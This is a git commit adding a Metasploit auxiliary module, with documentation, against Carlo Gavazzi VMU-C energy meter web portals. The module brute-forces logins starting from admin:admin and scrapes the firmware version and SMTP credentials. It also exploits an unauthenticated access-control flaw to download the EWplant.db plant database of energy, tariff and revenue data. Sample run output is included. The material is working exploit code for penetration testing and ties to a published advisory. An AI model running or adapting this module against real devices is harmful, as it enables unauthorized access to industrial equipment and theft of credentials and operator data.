Add Carlo Gavazzi module

bug/bundler_fix
juushya 2017-02-11 11:18:43 +05:30
parent face944f03
commit 906ca6c24e
2 changed files with 291 additions and 0 deletions

View File

@ -0,0 +1,31 @@
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/gavazzi_em_login_loot
msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7
msf auxiliary(gavazzi_em_login_loot) > set rport 80
msf auxiliary(gavazzi_em_login_loot) > run
[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal...
[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin"
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin"
[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03...
[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password ""
[*] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7 - dumping EWplant.db
[*] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7:80 - File retrieved successfully!
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,260 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database',
'Description' => %{
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
},
'References' =>
[
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => false,
'VERBOSE' => true
}))
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin'])
], self.class
)
end
def run_host(ip)
unless is_app_carlogavazzi?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
ewplantdb
end
#
# What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web
#
def is_app_carlogavazzi?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC')))
vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...")
return true
else
vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.")
return false
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => '/login.php',
'method' => 'POST',
'headers' => {
'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp'
},
'vars_post' =>
{
'username' => user,
'password' => pass,
'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models
}
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return :abort
end
if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php')))
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
# Extract firmware version
begin
res = send_request_cgi(
{
'uri' => '/setupfirmware.php',
'method' => 'GET',
'headers' => {
'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp'
}
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return :abort
end
if (res && res.code == 200 && res.body.include?('Firmware Version'))
fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/)
fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1]
vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...")
report_cred(
ip: rhost,
port: rport,
service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]",
user: user,
password: pass
)
end
if (res && res.code == 200 && res.body.include?('Versione Firmware Installata'))
fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/)
fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/)
vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...")
report_cred(
ip: rhost,
port: rport,
service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]",
user: user,
password: pass
)
end
#
# Extract SMTP password
#
begin
res = send_request_cgi(
{
'uri' => '/setupmail.php',
'method' => 'GET',
'headers' => {
'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp'
}
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return :abort
end
if (res && res.code == 200 && res.body.include?('SMTP'))
dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1]
smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/)
dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1]
smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/)
dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1]
smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/)
print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}")
else
print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges")
end
return :next_user
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
#
# Dump EWplant.db database file
#
def ewplantdb
begin
res = send_request_cgi(
{
'uri' => '/cfg/EWplant.db',
'method' => 'GET',
'headers' => {
'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp'
}
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return :abort
end
if res && res.code == 200
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost} - dumping EWplant.db")
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot(
'EWplant.db',
'SQLite_db/text',
rhost,
res.body,
rport,
'Carlo Gavazzi Energy Meter - EWplant.db'
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.")
return
end
end
end